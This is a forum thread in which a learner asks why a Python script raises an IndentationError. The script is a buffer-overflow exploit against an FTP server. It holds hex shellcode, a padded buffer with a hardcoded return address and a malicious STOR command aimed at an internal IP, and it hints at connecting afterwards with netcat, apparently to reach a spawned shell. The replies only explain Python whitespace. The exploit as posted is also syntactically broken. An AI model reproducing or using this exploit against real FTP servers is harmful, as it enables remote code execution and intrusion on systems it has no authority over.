Solved

HELP unexpected indent error python

Posted on 2011-09-29
3
809 Views
Last Modified: 2013-11-13
Hello,
I am  learning python, but I have a  problem, I am trying to run a  python script, but I cannot  get it done. it seems  that there is  a  problem with  an   IndentationError: unexpected indent error, just before  the  except:  block.

I have  searched and  found that it might be  a  missing colon, I have  tried  several  options, but  I not able  to  find  where the problem is,

Can  anyone  help me?, any  advice please...

this is  the script:

import ftplib
from ftplib import FTP
import struct
print "\n\n################################"
print "###################################"

# Shellcode

sc = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x74"
"\x59\x14\x73\x83\xeb\xfc\xe2\xf4\x88\x33\xff\x3e\x9c\xa0\xeb\x8c"
"\xff\x0e\xe8\xf0\xb0\x3d\xeb\xa5\x26\xa6\xc4\x1b\x84\xd3\x10\x2c"
"\x27\xa6\xc2\x8c\xa4\x59\x14\x73";

buffer = '\x41'*966+struct.pack('<L', 0x77DF2740)+'\x42'*32+sc

try:


 ftp=FTP('192.168.13.54')
 ftp.login('ftp','ftp')
 print "\Try connecting with netcat."
 except:
 print "\nCould not Connect to FTP Server."
 try:
 ftp.transfercmd("STOR " + buffer)

 except:
 print "\nDone."

//////////***********************////////////
brown@:~#python ftpshell.py
  File "ftpshell.py", line
    except:
    ^
IndentationError: unexpected indent
0
Comment
Question by:Blkmbm9
3 Comments
 
LVL 31

Expert Comment

by:farzanj
ID: 36818835
Python is very indentation and white space sensitive.

Remove the spaces/tab in front of except:
0
 
LVL 2

Accepted Solution

by:
xeltek earned 250 total points
ID: 36819047
Hi,
Whitespace and tab are significant in Python code.

There is a tool in your Python installation. You can find a Q/A here for more information.
http://stackoverflow.com/questions/1024435/howto-fix-python-indentation
0
 

Author Closing Comment

by:Blkmbm9
ID: 36892105
Thank you  so much!
0

Featured Post

Courses: Start Training Online With Pros, Today

Brush up on the basics or master the advanced techniques required to earn essential industry certifications, with Courses. Enroll in a course and start learning today. Training topics range from Android App Dev to the Xen Virtualization Platform.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

A short article about a problem I had getting the GPS LocationListener working.
Exception Handling is in the core of any application that is able to dignify its name. In this article, I'll guide you through the process of writing a DRY (Don't Repeat Yourself) Exception Handling mechanism, using Aspect Oriented Programming.
Learn the basics of lists in Python. Lists, as their name suggests, are a means for ordering and storing values. : Lists are declared using brackets; for example: t = [1, 2, 3]: Lists may contain a mix of data types; for example: t = ['string', 1, T…
Learn the basics of while and for loops in Python.  while loops are used for testing while, or until, a condition is met: The structure of a while loop is as follows:     while <condition>:         do something         repeate: The break statement m…

813 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

11 Experts available now in Live!

Get 1:1 Help Now